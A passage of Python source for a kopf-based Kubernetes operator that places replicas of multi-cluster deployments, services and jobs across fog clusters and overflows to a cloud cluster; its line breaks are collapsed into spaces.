dict['overflow'] = 0 eligible_clusters.append(dict) maximum_replicas[c] = maximum_replicas[c] - cluster['overflow'] cluster['overflow'] = 0 #break else: dict = {} dict['name'] = c dict['replicas'] = maximum_replicas[c] dict['overflow'] = 0 cluster['overflow'] = cluster['overflow'] - maximum_replicas[c] eligible_clusters.append(dict) maximum_replicas[c] = 0 # Group clusters and replicas eligible_clusters = (pd.DataFrame(eligible_clusters) .groupby(['name'], as_index=False) .agg({'replicas': 'sum', 'overflow': 'sum'}) .to_dict('r')) print("Preliminary list of eligible clusters ...", eligible_clusters) # Compute leftover to be deployed on cloud cluster leftover = 0 for cluster in eligible_clusters: if cluster['overflow'] > 0: leftover += cluster['overflow'] if leftover > 0: for cluster in fogapp_locations: if 'cloud' in cluster: dict = {} dict['name'] = cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) if len(eligible_clusters) == 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog elevel. Need cloud cluster.", delay=30) else: if leftover > 0: cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: dict = {} dict['name'] = cloud_cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = leftover patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog level. Need cloud cluster.", delay=30) for cluster in eligible_clusters: if cluster['replicas'] == 0: eligible_clusters.remove(cluster) print("Final list of eligible clusters ...", eligible_clusters) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) eligible_clusters = [] eligible_replicas = [] print("Deploy temp list ,,,,,,,,,,,,,,,,,,", temp_list) for cluster in temp_list: eligible_clusters.append(cluster['name']) eligible_replicas.append(cluster['replicas']) # For the spec file deployment_template = "{'apiVersion': 'apps/v1', 'kind': 'Deployment', 'metadata': {'name': '" + fogapp_name + "', 'namespace': '" + fogpapp_namespace +"'}, 'spec': " deployment_json = deployment_template + spec_text + "}" deployment_text = deployment_json.replace("'", "\"") deployment_body = json.loads(deployment_text) i = 0 for cluster in eligible_clusters: # Update replicas per cluster deployment_body['spec']['replicas'] = eligible_replicas[i] createDeployment(cluster, deployment_body, fogpapp_namespace) i += 1 dict = {} dict['message'] = 'provisioned' dict['replicas'] = eligible_replicas patch.status['message'] = dict # TO DO: per cluster overrides return {'fogapp_name': fogapp_name, 'fogapp_namespace': fogpapp_namespace, 'input_clusters': fogapp_locations, 'input_replicas': fogapp_replicas, 'fogapp_replicas': eligible_replicas, 'fogapp_locations': eligible_clusters, 'fogapp_status': 'provisioned'} # Update or patch initial placement (e.g., change number of replicas, Docker image for the app, locations, etc.) @kopf.on.update('fogguru.eu', 'v1', 'multiclusterdeployments') def update_fn(spec, status, body, namespace, logger, patch, **kwargs): # TO DO: the case of an multiclusterdeployment which failed initially # Update doesn't work since the child objects could not be found # In such a case may be go to create ? fogapp_name = status['create_fn']['fogapp_name'] fogapp_image = spec['template']['spec']['containers'][0]['image'] fogapp_replicas = spec['replicas'] fogapp_cpu_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['cpu'][:-1]) # fogapp_cpu_limit = spec['template']['spec']['containers']['resources']['limits']['cpu'] fogapp_memory_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['memory'][:-2]) # fogapp_memory_limit = spec['template']['spec']['containers']['resources']['limits']['memory'] # fogapp_type = spec['appType'] # fogapp_type = body['kind'] spec_text = str(spec) fogapp_current_replicas = {} if 'update_fn' in status: fogapp_current_locations = status['update_fn']['fogapp_locations'] for i in range(0, len(fogapp_current_locations)): fogapp_current_replicas[fogapp_current_locations[i]] = status['update_fn']['fogapp_replicas'][i] else: fogapp_current_locations = status['create_fn']['fogapp_locations'] for i in range(0, len(fogapp_current_locations)): fogapp_current_replicas[fogapp_current_locations[i]] = status['create_fn']['fogapp_replicas'][i] total_current_replicas = 0 for cluster in fogapp_current_locations: total_current_replicas += fogapp_current_replicas[cluster] print("Current locations and replicas ............................", fogapp_current_replicas) # if not fogapp_type or 'appType' not in spec: # raise kopf.HandlerFatalError(f"appType needs to be specified.") # Make sure image is provided if not fogapp_image: raise kopf.HandlerFatalError(f"Image must be set. Got {fogapp_image}.") if not fogapp_replicas: raise kopf.HandlerFatalError(f"Number of replicas must be set. Got {fogapp_replicas}.") if 'numberOfLocations' in spec: clusters_qty = spec['numberOfLocations'] else: clusters_qty = 1 # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" # Placement policy specified by user if 'placementPolicy' in spec: placement_policy = spec['placementPolicy'] else: # Default placement policy is most_traffic placement_policy = 'most_traffic' override_replicas = {} eligible_replicas = [] eligible_clusters = [] if 'locations' not in spec: mode = 'update' fogapp_locations = getFogAppLocations(fogapp_name, fogpapp_namespace, fogapp_cpu_request, fogapp_memory_request, fogapp_replicas, clusters_qty, placement_policy, mode) total_replicas = clusters_qty * fogapp_replicas if len(fogapp_locations) != 0: eligible_clusters = [] for cluster in fogapp_locations: if cluster['max_replicas'] > fogapp_replicas: cluster['replicas'] = fogapp_replicas cluster['overflow'] = 0 else: cluster['replicas'] = cluster['max_replicas'] cluster['overflow'] = fogapp_replicas - cluster['max_replicas'] total_overflow = 0 for cluster in fogapp_locations[:clusters_qty]: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['replicas'] eligible_clusters.append(dict) total_overflow += cluster['overflow'] print("Total overflow ...........", total_overflow) if total_overflow > 0: for cluster in fogapp_locations[clusters_qty:]: if cluster['max_replicas'] > total_overflow: dict = {} dict['name'] = cluster['name'] dict['replicas'] = total_overflow total_overflow = 0 eligible_clusters.append(dict) break else: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['max_replicas'] total_overflow = total_overflow - dict['replicas'] eligible_clusters.append(dict) if total_overflow > 0: for cluster in eligible_clusters: if 'cloud' in cluster['name']: cluster['replicas'] += total_overflow total_overflow = 0 print("Final list of clusters .................", eligible_clusters) print("Final overflow .................", total_overflow) if total_overflow > 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_overflow patch.status['message'] = dict raise kopf.TemporaryError("Fog clusters not sufficient to run the app. Provisioning cloud cluster.....................", delay=30) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = fogapp_replicas patch.status['message'] = dict raise kopf.TemporaryError( "No clusters found at the fog level. Provisioning cloud cluster.....................", delay=30) else: input_clusters = spec['locations'].split(",") fogapp_locations = [] for location in input_clusters: fogapp_locations.append(location.strip()) print("Input list of clusters ....", fogapp_locations) clusters_qty = len(fogapp_locations) if 'replicaOverrides' in spec: replicas_list = [] override_replicas = {} if isinstance(spec['replicaOverrides'], str): replicas = spec['replicaOverrides'].split(",") for i in replicas: replicas_list.append(i.strip()) elif isinstance(spec['replicaOverrides'], list): replicas_list = spec['replicaOverrides'] print("Replica overrides ............", spec['replicaOverrides']) for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = replicas_list[i] else: override_replicas = {} for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = fogapp_replicas print("Replica overrides input ....", override_replicas) total_replicas = 0 for replica in list(override_replicas.values()): total_replicas += int(replica) print("Total number of replicas .....", total_replicas) fog_only_clusters = [] for cluster in fogapp_locations: if 'cloud' not in cluster: fog_only_clusters.append(cluster) # Compute cloud replicas cloud_replicas = 0 for cluster in fogapp_locations: if 'cloud' in cluster: cloud_replicas += int(override_replicas[cluster]) if len(fog_only_clusters) > 0: possible_clusters = findPossibleClusters(fog_only_clusters, fogapp_cpu_request, fogapp_memory_request) else: possible_clusters = [] print("Initial possible clusters list ............", possible_clusters) # if node of the fog clusters have the right sized nodes if len(possible_clusters) == 0: eligible_clusters = [] eligible_replicas = [] cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: # eligible_clusters.append(cloud_cluster) # eligible_replicas.append(total_replicas) dict = {} dict['name'] = cloud_cluster dict['replicas'] = total_replicas eligible_clusters.append(dict) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError("The application could not be scheduled on the Fog elevel. Need cloud cluster.", delay=30) print("Initial eligible clusters and replicas 1111", eligible_clusters) else: fogapp_locations.sort() possible_clusters.sort() override_replicas_update = {} # Assign replicas to replacement clusters from input clusters for i in range(0, len(possible_clusters)): if possible_clusters[i] in fogapp_locations: override_replicas_update[possible_clusters[i]] = override_replicas[possible_clusters[i]] else: override_replicas_update[possible_clusters[i]] = list(override_replicas.values())[i] print("Override replicas new .....", override_replicas_update) for cluster in possible_clusters: replicas = int(override_replicas_update[cluster]) #replicas = int(override_replicas_diff[cluster]) # is_eligible = checkClusterEligibility(cluster, app_cpu_request, app_memory_request, replicas) # The maximum number of replicas the cluster can host maximum_replicas = getAllocatableCapacity(cluster, fogapp_cpu_request, fogapp_memory_request, fogapp_name, fogpapp_namespace) if maximum_replicas > replicas: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = replicas dict['overflow'] = 0 eligible_clusters.append(dict) else: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = maximum_replicas dict['overflow'] = replicas - maximum_replicas eligible_clusters.append(dict) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) print("Possible list of clusters and oveflow ....", temp_list) temp_list_2 = [] for cluster in temp_list: temp_list_2.append(cluster['name']) temp_list_3 = list(set(fogapp_locations + temp_list_2)) total_overflow = 0 for cluster in temp_list: total_overflow += cluster['overflow'] maximum_replicas = {} for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] #leftover = overflow print("Overflow from ", cluster, overflow) if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) print("List of nearest clusters ....", nearest_clusters) # else: # print("The cluster doesn't have overflow ....") # break # Distribute overflow to nearest clusters if len(nearest_clusters) > 0: for c in nearest_clusters: # print("Overflow .................", overflow) # if overflow > 0: maximum_replicas[c] = getAllocatableCapacity(c, fogapp_cpu_request, fogapp_memory_request, fogapp_name, fogpapp_namespace) print("Maximum replicas .....", maximum_replicas) for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) # else: # break if len(nearest_clusters) > 0: for c in nearest_clusters: if cluster['overflow'] > 0: if maximum_replicas[c] == 0: cluster['overflow'] = cluster['overflow'] #break elif maximum_replicas[c] > cluster['overflow']: dict = {} dict['name'] = c dict['replicas'] = cluster['overflow'] dict['overflow'] = 0 eligible_clusters.append(dict) maximum_replicas[c] = maximum_replicas[c] - cluster['overflow'] cluster['overflow'] = 0 #break else: dict = {} dict['name'] = c dict['replicas'] = maximum_replicas[c] dict['overflow'] = 0 cluster['overflow'] = cluster['overflow'] - maximum_replicas[c] eligible_clusters.append(dict) maximum_replicas[c] = 0 eligible_clusters = (pd.DataFrame(eligible_clusters) .groupby(['name'], as_index=False) .agg({'replicas': 'sum', 'overflow': 'sum'}) .to_dict('r')) # for c in eligible_clusters: # maximum_replicas = getMaximumReplicas(c['name'], fogapp_cpu_request, fogapp_memory_request) # if c['replicas'] > maximum_replicas: # c['overflow'] = c['overflow'] + c['replicas'] - maximum_replicas # c['replicas'] = maximum_replicas print("Preliminary list of eligible clusters ...", eligible_clusters) # Compute leftover to be deployed on cloud cluster leftover = 0 for cluster in eligible_clusters: if cluster['overflow'] > 0: leftover += cluster['overflow'] # Add leftover on top of the number of replicas requested for cloud # for cluster in fogapp_locations: # if 'cloud' in cluster: # leftover += int(override_replicas[cluster]) if leftover > 0: for cluster in fogapp_locations: if 'cloud' in cluster: dict = {} dict['name'] = cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) if len(eligible_clusters) == 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog level. Need cloud cluster.", delay=30) else: if leftover > 0: cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: dict = {} dict['name'] = cloud_cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = leftover patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog level. Need cloud cluster.", delay=30) for cluster in eligible_clusters: if cluster['replicas'] == 0: eligible_clusters.remove(cluster) print("Final list of eligible clusters ...", eligible_clusters) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) eligible_clusters = [] eligible_replicas = [] for cluster in temp_list: eligible_clusters.append(cluster['name']) eligible_replicas.append(cluster['replicas']) # For the spec file deployment_template = "{'apiVersion': 'apps/v1', 'kind': 'Deployment', 'metadata': {'name': '" + fogapp_name + "', 'namespace': '" + fogpapp_namespace + "'}, 'spec': " deployment_json = deployment_template + spec_text + "}" deployment_text = deployment_json.replace("'", "\"") deployment_body = json.loads(deployment_text) # Delete deployment and service from current clusters fogapp_current_locations.sort() eligible_clusters_sorted = [] for cluster in eligible_clusters: eligible_clusters_sorted.append(cluster) eligible_clusters_sorted.sort() if len(eligible_clusters_sorted) == len(fogapp_current_locations) and fogapp_current_locations == eligible_clusters_sorted: print("Same set of clusters .... Patching ......") i = 0 for cluster in eligible_clusters: deployment_body['spec']['replicas'] = eligible_replicas[i] print("Patching fogapp on existing clusters ............") patchDeployment(cluster, fogapp_name, deployment_body, fogpapp_namespace) i += 1 elif len(eligible_clusters_sorted) == len(fogapp_current_locations) and fogapp_current_locations != eligible_clusters_sorted: i = 0 for cluster in fogapp_current_locations: if cluster not in eligible_clusters: print("Delete app from current clusters") deleteDeployment(cluster, fogapp_name, fogpapp_namespace) for cluster in eligible_clusters: if cluster not in fogapp_current_locations: deployment_body['spec']['replicas'] = eligible_replicas[i] print("Creating fogapp on more clusters ...........") createDeployment(cluster, deployment_body, fogpapp_namespace) i += 1 if len(eligible_clusters_sorted) > len(fogapp_current_locations): i = 0 for cluster in eligible_clusters: if cluster in fogapp_current_locations: deployment_body['spec']['replicas'] = eligible_replicas[i] print("Patching fogapp on existing clusters ............") patchDeployment(cluster, fogapp_name, deployment_body, fogpapp_namespace) else: deployment_body['spec']['replicas'] = eligible_replicas[i] print("Creating fogapp on more clusters ...........") createDeployment(cluster, deployment_body, fogpapp_namespace) i += 1 if len(eligible_clusters_sorted) < len(fogapp_current_locations): i = 0 for cluster in fogapp_current_locations: if cluster in eligible_clusters: deployment_body['spec']['replicas'] = eligible_replicas[i] print("Patching fogapp on existing clusters ............") patchDeployment(cluster, fogapp_name, deployment_body, fogpapp_namespace) i += 1 else: print("Delete app from current clusters") deleteDeployment(cluster, fogapp_name, fogpapp_namespace) #i += 1 dict = {} dict['message'] = 'provisioned' dict['replicas'] = eligible_replicas patch.status['message'] = dict return {'fogapp_name': fogapp_name, 'fogapp_namespace': fogpapp_namespace, 'fogapp_replicas': eligible_replicas, 'fogapp_locations': eligible_clusters, 'fogapp_status': 'provisioned'} # Delete multiclusterdeployments, thus delete the associated deployments @kopf.on.delete('fogguru.eu', 'v1', 'multiclusterdeployments') def delete(spec, body, status, **kwargs): fogapp_name = body['metadata']['name'] #fogapp_type = spec['appType'] fogapp_locations_update = [] fogapp_locations_create = [] # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" if 'update_fn' in status: fogapp_locations_update = status['update_fn']['fogapp_locations'] if 'create_fn' in status: fogapp_locations_create = status['create_fn']['fogapp_locations'] for cluster in fogapp_locations_update: try: deleteDeployment(cluster, fogapp_name, fogpapp_namespace) except: pass for cluster in fogapp_locations_create: try: deleteDeployment(cluster, fogapp_name, fogpapp_namespace) except: pass msg = f"Multi Cluster Deployment {fogapp_name} and its deployments are DELETED!" return {'message': msg} # Create multi-cluster service @kopf.on.create('fogguru.eu', 'v1', 'multiclusterservices') def create_fn(body, spec, meta, patch, **kwargs): fogapp_name = body['metadata']['name'] # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" spec_text = str(spec) # For the spec file if 'io.cilium/global-service' in meta['annotations']: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'annotations':{'io.cilium/global-service':'true'}, 'name': '" + fogapp_name + "', 'namespace': '" + fogpapp_namespace + "'}, 'spec': " elif 'external-dns.alpha.kubernetes.io/internal-hostname' in meta['annotations']: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'annotations':{'external-dns.alpha.kubernetes.io/hostname':'" + fogapp_name + ".fogguru.apps'}, 'name': '" + fogapp_name + "', 'namespace': '" + fogpapp_namespace + "'}, 'spec': " else: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'name': '" + fogapp_name + "', 'namespace': '" + fogpapp_namespace + "'}, 'spec': " service_json = service_template + spec_text + "}" service_text = service_json.replace("'", "\"") service_body = json.loads(service_text) if 'locations' not in spec: current_clusters, original_clusters = getFogAppClusters(fogapp_name, fogpapp_namespace) else: input_clusters = spec['locations'].split(",") current_clusters = [] for location in input_clusters: current_clusters.append(location.strip()) for cluster in current_clusters: createService(cluster, service_body, fogpapp_namespace) return {'fogapp_name': fogapp_name, 'fogapp_namespace': fogpapp_namespace, 'fogapp_locations': current_clusters, 'fogapp_status': 'provisioned'} # Update multi-cluster service @kopf.on.update('fogguru.eu', 'v1', 'multiclusterservices') def update_fn(body, spec, meta, patch, **kwargs): fogapp_name = body['metadata']['name'] spec_text = str(spec) # For the spec file if 'io.cilium/global-service' in meta['annotations']: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'annotations':{'io.cilium/global-service':'true'}, 'name': '" + fogapp_name + "'}, 'spec': " elif 'external-dns.alpha.kubernetes.io/internal-hostname' in meta['annotations']: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'annotations':{'external-dns.alpha.kubernetes.io/hostname':'" + fogapp_name + ".fogguru.apps'}, 'name': '" + fogapp_name + "'}, 'spec': " else: service_template = "{'apiVersion': 'v1', 'kind': 'Service', 'metadata': {'name': '" + fogapp_name + "'}, 'spec': " service_json = service_template + spec_text + "}" service_text = service_json.replace("'", "\"") service_body = json.loads(service_text) # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" if 'locations' not in spec: current_deployment_clusters, original_deployment_clusters = getFogAppClusters(fogapp_name, fogpapp_namespace) else: input_clusters = spec['locations'].split(",") current_deployment_clusters = [] for location in input_clusters: current_deployment_clusters.append(location.strip()) current_service_clusters, original_service_clusters = getServiceClusters(fogapp_name, fogpapp_namespace) current_deployment_clusters.sort() current_service_clusters.sort() if current_service_clusters == current_deployment_clusters: pass elif len(current_service_clusters) == len(current_deployment_clusters) and current_service_clusters != current_deployment_clusters: for cluster in current_service_clusters: if cluster not in current_deployment_clusters: print("Delete service from current clusters ...............") deleteService(cluster, fogapp_name, fogpapp_namespace) for cluster in current_deployment_clusters: if cluster not in current_service_clusters: print("Create service in new clusters ...........") createService(cluster, service_body) if len(current_service_clusters) < len(current_deployment_clusters): for cluster in current_deployment_clusters: if cluster in current_service_clusters: pass else: print("Create service in new clusters ...........") createService(cluster, service_body) elif len(current_service_clusters) > len(current_deployment_clusters): for cluster in current_service_clusters: if cluster in current_deployment_clusters: pass else: print("Delete service from current clusters ...............") deleteService(cluster, fogapp_name, fogpapp_namespace) return {'fogapp_name': fogapp_name, 'fogapp_namespace': fogpapp_namespace, 'fogapp_locations': current_deployment_clusters, 'fogapp_status': 'provisioned'} # Delete multi-cluster service @kopf.on.delete('fogguru.eu', 'v1', 'multiclusterservices') def delete_fn(body, spec, patch, **kwargs): fogapp_name = body['metadata']['name'] # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" current_clusters, original_clusters = getServiceClusters(fogapp_name, fogpapp_namespace) for cluster in current_clusters: deleteService(cluster, fogapp_name, fogpapp_namespace) msg = f"Multi Cluster Service {fogapp_name} is DELETED!" return {'message': msg} # Multi Cluster Job @kopf.on.create('fogguru.eu', 'v1', 'multiclusterjobs') def create_fn(body, spec, patch, **kwargs): # Get info from multiclusterjobs object fogapp_name = body['metadata']['name'] fogapp_image = spec['template']['spec']['containers'][0]['image'] #fogapp_replicas = spec['replicas'] fogapp_replicas = 1 fogapp_cpu_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['cpu'][:-1]) #fogapp_cpu_limit = spec['template']['spec']['containers']['resources']['limits']['cpu'] fogapp_memory_request = int(spec['template']['spec']['containers'][0]['resources']['requests']['memory'][:-2]) #fogapp_memory_limit = spec['template']['spec']['containers']['resources']['limits']['memory'] #fogapp_type = spec['appType'] #fogapp_type = body['kind'] spec_text = str(spec) # Make sure image is provided if not fogapp_image: raise kopf.HandlerFatalError(f"Image must be set. Got {fogapp_image}.") if not fogapp_replicas: raise kopf.HandlerFatalError(f"Number of replicas must be set. Got {fogapp_replicas}.") # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" # Placement policy specified by user if 'placementPolicy' in spec: placement_policy = spec['placementPolicy'] else: # Default placement policy is most_traffic placement_policy = 'most_traffic' if 'locations' in spec: placement_policy = 'cluster_affinity' print("The provided placement policy is ..........", placement_policy) if 'numberOfLocations' in spec: clusters_qty = spec['numberOfLocations'] else: clusters_qty = 1 eligible_clusters = [] if 'locations' not in spec: mode = 'create' fogapp_locations = getFogAppLocations(fogapp_name, fogpapp_namespace, fogapp_cpu_request, fogapp_memory_request, fogapp_replicas, clusters_qty, placement_policy, mode) total_replicas = clusters_qty * fogapp_replicas if len(fogapp_locations) != 0: eligible_clusters = [] for cluster in fogapp_locations: if cluster['max_replicas'] > fogapp_replicas: cluster['replicas'] = fogapp_replicas cluster['overflow'] = 0 else: cluster['replicas'] = cluster['max_replicas'] cluster['overflow'] = fogapp_replicas - cluster['max_replicas'] total_overflow = 0 for cluster in fogapp_locations[:clusters_qty]: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['replicas'] eligible_clusters.append(dict) total_overflow += cluster['overflow'] print("Total overflow ...........", total_overflow) if total_overflow > 0: for cluster in fogapp_locations[clusters_qty:]: if cluster['max_replicas'] > total_overflow: dict = {} dict['name'] = cluster['name'] dict['replicas'] = total_overflow total_overflow = 0 eligible_clusters.append(dict) break else: dict = {} dict['name'] = cluster['name'] dict['replicas'] = cluster['max_replicas'] total_overflow = total_overflow - dict['replicas'] eligible_clusters.append(dict) if total_overflow > 0: for cluster in eligible_clusters: if 'cloud' in cluster['name']: cluster['replicas'] += total_overflow total_overflow = 0 print("Final list of clusters .................", eligible_clusters) print("Final overflow .................", total_overflow) if total_overflow > 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_overflow patch.status['message'] = dict raise kopf.TemporaryError("Fog clusters not sufficient to run the app. Provisioning cloud cluster.....................", delay=30) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = fogapp_replicas patch.status['message'] = dict raise kopf.TemporaryError( "No clusters found at the fog level. Provisioning cloud cluster.....................", delay=30) else: input_clusters = spec['locations'].split(",") fogapp_locations = [] for location in input_clusters: fogapp_locations.append(location.strip()) print("Input list of cluster ....", fogapp_locations) clusters_qty = len(fogapp_locations) if 'replicaOverrides' in spec: replicas_list = [] override_replicas = {} if isinstance(spec['replicaOverrides'], str): replicas = spec['replicaOverrides'].split(",") for i in replicas: replicas_list.append(i.strip()) elif isinstance(spec['replicaOverrides'], list): replicas_list = spec['replicaOverrides'] print("Replica overrides ............", spec['replicaOverrides']) for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = replicas_list[i] else: override_replicas = {} for i in range(0, len(fogapp_locations)): override_replicas[fogapp_locations[i]] = fogapp_replicas total_replicas = 0 for replica in list(override_replicas.values()): total_replicas += int(replica) print("Total number of replicas .....", total_replicas) fog_only_clusters = [] for cluster in fogapp_locations: if 'cloud' not in cluster: fog_only_clusters.append(cluster) print("Fog only clusters ..............", fog_only_clusters) # Compute cloud replicas cloud_replicas = 0 for cluster in fogapp_locations: if 'cloud' in cluster: cloud_replicas += int(override_replicas[cluster]) if len(fog_only_clusters) > 0: possible_clusters = findPossibleClusters(fog_only_clusters, fogapp_cpu_request, fogapp_memory_request) else: possible_clusters = [] print("Initial possible clusters list ............", possible_clusters) # if node of the fog clusters have the right sized nodes if len(possible_clusters) == 0: eligible_clusters = [] eligible_replicas = [] cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: dict = {} dict['name'] = cloud_cluster dict['replicas'] = total_replicas eligible_clusters.append(dict) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError("The application could not be scheduled on the Fog elevel. Need cloud cluster.", delay=30) print("Initial eligible clusters and replicas 1111", eligible_clusters) else: fogapp_locations.sort() possible_clusters.sort() override_replicas_new = {} # Check if possible clusters different from input clusters and assign replicas to possible replicas # Distribute cloud replicas for i in range(0, len(possible_clusters)): if possible_clusters[i] in fogapp_locations: override_replicas_new[possible_clusters[i]] = int(override_replicas[possible_clusters[i]]) + int((cloud_replicas / len(possible_clusters))) else: override_replicas_new[possible_clusters[i]] = int(list(override_replicas.values())[i]) + int((cloud_replicas / len(possible_clusters))) for cluster in possible_clusters: replicas = int(override_replicas_new[cluster]) # is_eligible = checkClusterEligibility(cluster, app_cpu_request, app_memory_request, replicas) # The maximum number of replicas the cluster can host maximum_replicas = getMaximumReplicas(cluster, fogapp_cpu_request, fogapp_memory_request) #maximum_replicas = getAllocatableCapacity(cluster, fogapp_cpu_request, fogapp_memory_request) if maximum_replicas > replicas: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = replicas dict['overflow'] = 0 eligible_clusters.append(dict) else: dict = {} dict['name'] = cluster dict['max_replicas'] = maximum_replicas dict['replicas'] = maximum_replicas dict['overflow'] = replicas - maximum_replicas eligible_clusters.append(dict) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) print("Possible list of clusters and oveflow ....", temp_list) temp_list_2 = [] for cluster in temp_list: temp_list_2.append(cluster['name']) temp_list_3 = list(set(fogapp_locations + temp_list_2)) total_overflow = 0 for cluster in temp_list: total_overflow += cluster['overflow'] maximum_replicas = {} for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] #leftover = overflow print("Overflow from ", cluster, overflow) if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) print("List of nearest clusters ....", nearest_clusters) # Distribute overflow to nearest clusters if len(nearest_clusters) > 0: for c in nearest_clusters: # print("Overflow .................", overflow) # if overflow > 0: maximum_replicas[c] = getMaximumReplicas(c, fogapp_cpu_request, fogapp_memory_request) print("Maximum replicas .....", maximum_replicas) for cluster in temp_list: nearest_clusters = [] overflow = cluster['overflow'] if overflow > 0: nearest_clusters = findNearestClusters(cluster, temp_list_3) # else: # break if len(nearest_clusters) > 0: for c in nearest_clusters: if cluster['overflow'] > 0: if maximum_replicas[c] == 0: cluster['overflow'] = cluster['overflow'] #break elif maximum_replicas[c] > cluster['overflow']: dict = {} dict['name'] = c dict['replicas'] = cluster['overflow'] dict['overflow'] = 0 eligible_clusters.append(dict) maximum_replicas[c] = maximum_replicas[c] - cluster['overflow'] cluster['overflow'] = 0 #break else: dict = {} dict['name'] = c dict['replicas'] = maximum_replicas[c] dict['overflow'] = 0 cluster['overflow'] = cluster['overflow'] - maximum_replicas[c] eligible_clusters.append(dict) maximum_replicas[c] = 0 # Group clusters and replicas eligible_clusters = (pd.DataFrame(eligible_clusters) .groupby(['name'], as_index=False) .agg({'replicas': 'sum', 'overflow': 'sum'}) .to_dict('r')) print("Preliminary list of eligible clusters ...", eligible_clusters) # Compute leftover to be deployed on cloud cluster leftover = 0 for cluster in eligible_clusters: if cluster['overflow'] > 0: leftover += cluster['overflow'] if leftover > 0: for cluster in fogapp_locations: if 'cloud' in cluster: dict = {} dict['name'] = cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) if len(eligible_clusters) == 0: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = total_replicas patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog elevel. Need cloud cluster.", delay=30) else: if leftover > 0: cloud_cluster = getCloudCluster() if 'cloud' in cloud_cluster: dict = {} dict['name'] = cloud_cluster dict['replicas'] = leftover dict['overflow'] = 0 eligible_clusters.append(dict) leftover = 0 print("Eligible clusters including cloud ...........", eligible_clusters) else: dict = {} dict['message'] = 'to_cloud' dict['replicas'] = leftover patch.status['message'] = dict raise kopf.TemporaryError( "The application could not be scheduled on the Fog level. Need cloud cluster.", delay=30) for cluster in eligible_clusters: if cluster['replicas'] == 0: eligible_clusters.remove(cluster) print("Final list of eligible clusters ...", eligible_clusters) temp_list = [] for cluster in eligible_clusters: temp_list.append(cluster) eligible_clusters = [] eligible_replicas = [] print("Jobs temp list ,,,,,,,,,,,,,,,,,,", temp_list) for cluster in temp_list: eligible_clusters.append(cluster['name']) eligible_replicas.append(cluster['replicas']) # For the spec file job_template = "{'apiVersion': 'batch/v1', 'kind': 'Job', 'metadata': {'name': '" + fogapp_name + "'}, 'spec': " job_json = job_template + spec_text + "}" job_text = job_json.replace("'", "\"") job_body 